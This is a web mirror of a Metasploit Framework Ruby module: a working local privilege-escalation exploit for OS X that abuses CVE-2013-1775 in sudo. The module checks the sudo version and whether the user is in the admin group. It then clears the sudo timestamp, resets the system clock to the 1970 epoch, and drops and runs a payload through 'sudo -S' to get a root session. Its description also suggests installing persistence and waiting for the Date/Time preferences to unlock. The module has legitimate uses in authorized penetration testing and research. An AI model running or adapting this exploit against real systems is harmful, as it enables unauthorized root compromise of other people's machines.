Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/sudo_password_bypass.rb
32545 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'shellwords'
7
8
class MetasploitModule < Msf::Exploit::Local
9
10
# ManualRanking because it's going to modify system time
11
# Even when it will try to restore things, user should use
12
# it at his own risk
13
Rank = NormalRanking
14
15
include Msf::Post::File
16
include Msf::Post::OSX::Priv
17
include Msf::Exploit::EXE
18
include Msf::Exploit::FileDropper
19
20
SYSTEMSETUP_PATH = '/usr/sbin/systemsetup'
21
VULNERABLE_VERSION_RANGES = [['1.6.0', '1.7.10p6'], ['1.8.0', '1.8.6p6']]
22
CMD_TIMEOUT = 45
23
24
# saved clock config
25
attr_accessor :clock_changed, :date, :network_server, :networked, :time, :zone
26
27
def initialize(info = {})
28
super(
29
update_info(
30
info,
31
'Name' => 'Mac OS X Sudo Password Bypass',
32
'Description' => %q{
33
This module gains a session with root permissions on versions of OS X with
34
sudo binary vulnerable to CVE-2013-1775. Tested working on Mac OS 10.7-10.8.4,
35
and possibly lower versions.
36
37
If your session belongs to a user with Administrative Privileges
38
(the user is in the sudoers file and is in the "admin group"), and the
39
user has ever run the "sudo" command, it is possible to become the super
40
user by running `sudo -k` and then resetting the system clock to 01-01-1970.
41
42
This module will fail silently if the user is not an admin, if the user has never
43
run the sudo command, or if the admin has locked the Date/Time preferences.
44
45
Note: If the user has locked the Date/Time preferences, requests to overwrite
46
the system clock will be ignored, and the module will silently fail. However,
47
if the "Require an administrator password to access locked preferences" setting
48
is not enabled, the Date/Time preferences are often unlocked every time the admin
49
logs in, so you can install persistence and wait for a chance later.
50
},
51
'License' => MSF_LICENSE,
52
'Author' => [
53
'Todd C. Miller', # Vulnerability discovery
54
'joev', # Metasploit module
55
'juan vazquez' # testing/fixing module bugs
56
],
57
'References' => [
58
[ 'CVE', '2013-1775' ],
59
[ 'OSVDB', '90677' ],
60
[ 'BID', '58203' ],
61
[ 'URL', 'http://www.sudo.ws/sudo/alerts/epoch_ticket.html' ]
62
],
63
'Platform' => 'osx',
64
'SessionTypes' => [ 'shell', 'meterpreter' ],
65
'Targets' => [
66
[
67
'Mac OS X x86 (Native Payload)',
68
{
69
'Platform' => 'osx',
70
'Arch' => ARCH_X86
71
}
72
],
73
[
74
'Mac OS X x64 (Native Payload)',
75
{
76
'Platform' => 'osx',
77
'Arch' => ARCH_X64
78
}
79
],
80
[
81
'CMD',
82
{
83
'Platform' => 'unix',
84
'Arch' => ARCH_CMD
85
}
86
]
87
],
88
'DefaultTarget' => 0,
89
'DisclosureDate' => '2013-02-28',
90
'Notes' => {
91
'Reliability' => UNKNOWN_RELIABILITY,
92
'Stability' => UNKNOWN_STABILITY,
93
'SideEffects' => UNKNOWN_SIDE_EFFECTS
94
}
95
)
96
)
97
register_advanced_options([
98
OptString.new('TMP_FILE',
99
[
100
true, 'For the native targets, specifies the path that ' +
101
'the executable will be dropped on the client machine.',
102
'/tmp/.<random>/<random>'
103
]),
104
])
105
end
106
107
# ensure target is vulnerable by checking sudo vn and checking
108
# user is in admin group.
109
def check
110
if cmd_exec('sudo -V') =~ /version\s+([^\s]*)\s*$/
111
sudo_vn = ::Regexp.last_match(1)
112
sudo_vn.split(/[.p]/).map(&:to_i)
113
# check vn between 1.6.0 through 1.7.10p6
114
# and 1.8.0 through 1.8.6p6
115
if !vn_bt(sudo_vn, VULNERABLE_VERSION_RANGES)
116
vprint_error "sudo version #{sudo_vn} not vulnerable."
117
return CheckCode::Safe
118
end
119
else
120
vprint_error 'sudo not detected on the system.'
121
return CheckCode::Safe
122
end
123
124
# check that the user is in OSX's admin group, necessary to change sys clock
125
unless is_admin?
126
vprint_error 'sudo version is vulnerable, but user is not in the admin group (necessary to change the date).'
127
return CheckCode::Safe
128
end
129
130
# one root for you sir
131
CheckCode::Vulnerable
132
end
133
134
def exploit
135
if is_root?
136
fail_with Failure::BadConfig, 'Session already has root privileges'
137
end
138
139
unless is_admin?
140
fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
141
end
142
143
if check != CheckCode::Vulnerable
144
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
145
end
146
147
# "remember" the current system time/date/network/zone
148
print_good('User is an admin, continuing...')
149
150
print_status('Saving system clock config...')
151
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
152
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
153
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
154
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
155
@network_server = if @networked
156
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
157
end
158
159
run_sudo_cmd
160
end
161
162
def cleanup
163
if @clock_changed
164
print_status('Resetting system clock to original values') if @time
165
cmd_exec("#{SYSTEMSETUP_PATH} -settimezone #{[@zone].shelljoin}") unless @zone.nil?
166
cmd_exec("#{SYSTEMSETUP_PATH} -setdate #{[@date].shelljoin}") unless @date.nil?
167
cmd_exec("#{SYSTEMSETUP_PATH} -settime #{[@time].shelljoin}") unless @time.nil?
168
if @networked
169
cmd_exec("#{SYSTEMSETUP_PATH} -setusingnetworktime On")
170
unless @network_server.nil?
171
cmd_exec("#{SYSTEMSETUP_PATH} -setnetworktimeserver #{[@network_server].shelljoin}")
172
end
173
end
174
print_good('Completed clock reset.')
175
else
176
print_status 'Skipping cleanup since the clock was never changed'
177
end
178
179
super
180
end
181
182
private
183
184
def run_sudo_cmd
185
print_status("Resetting user's time stamp file and setting clock to the epoch")
186
cmd_exec(
187
"sudo -k; \n" +
188
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -settimezone GMT" +
189
' -setdate 01:01:1970 -settime 00:00'
190
)
191
if !cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match('1/1/1970')
192
fail_with(Failure::NoAccess, 'Date and time preference pane appears to be locked. By default, this pane is unlocked upon login.')
193
else
194
@clock_changed = true
195
end
196
197
# drop the payload (unless CMD)
198
if using_native_target?
199
cmd_exec("mkdir -p #{File.dirname(drop_path)}")
200
write_file(drop_path, generate_payload_exe)
201
register_files_for_cleanup(drop_path)
202
cmd_exec("chmod +x #{[drop_path].shelljoin}")
203
print_status('Payload dropped and registered for cleanup')
204
end
205
206
# Run Test
207
test = rand_text_alpha(rand(4..7))
208
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')
209
210
print_status('Testing that user has sudoed before...')
211
output = cmd_exec('echo "" | ' + sudo_cmd_test)
212
213
if output =~ /incorrect password attempts\s*$/i
214
fail_with(Failure::NotFound, 'User has never run sudo, and is therefore not vulnerable. Bailing.')
215
elsif output =~ /#{test}/
216
print_good('Test executed succesfully. Running payload.')
217
else
218
print_error('Unknown fail while testing, trying to execute the payload anyway...')
219
end
220
221
# Run Payload
222
sudo_cmd_raw = if using_native_target?
223
['sudo', '-S', [drop_path].shelljoin].join(' ')
224
elsif using_cmd_target?
225
['sudo', '-S', '/bin/sh', '-c', [payload.encoded].shelljoin].join(' ')
226
end
227
228
## to prevent the password prompt from destroying session
229
## backgrounding the sudo payload in order to keep both sessions usable
230
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'
231
232
print_status 'Running command: '
233
print_line sudo_cmd
234
cmd_exec(sudo_cmd)
235
end
236
237
# default cmd_exec timeout to CMD_TIMEOUT constant
238
def cmd_exec(cmd, args = nil, timeout = CMD_TIMEOUT)
239
super
240
end
241
242
# helper methods for accessing datastore
243
def using_native_target?
244
target.name =~ /native/i
245
end
246
247
def using_cmd_target?
248
target.name =~ /cmd/i
249
end
250
251
def drop_path
252
@_drop_path ||= datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) }
253
end
254
255
# helper methods for dealing with sudo's vn num
256
def parse_vn(vn_str)
257
vn_str.split(/[.p]/).map(&:to_i)
258
end
259
260
def vn_bt(vn, ranges) # e.g. ('1.7.1', [['1.7.0', '1.7.6p44']])
261
vn_parts = parse_vn(vn)
262
ranges.any? do |range|
263
min_parts = parse_vn(range[0])
264
max_parts = parse_vn(range[1])
265
vn_parts.all? do |part|
266
min = min_parts.shift
267
max = max_parts.shift
268
(min.nil? or (!part.nil? and part >= min)) and
269
(part.nil? or (!max.nil? and part <= max))
270
end
271
end
272
end
273
end
274
275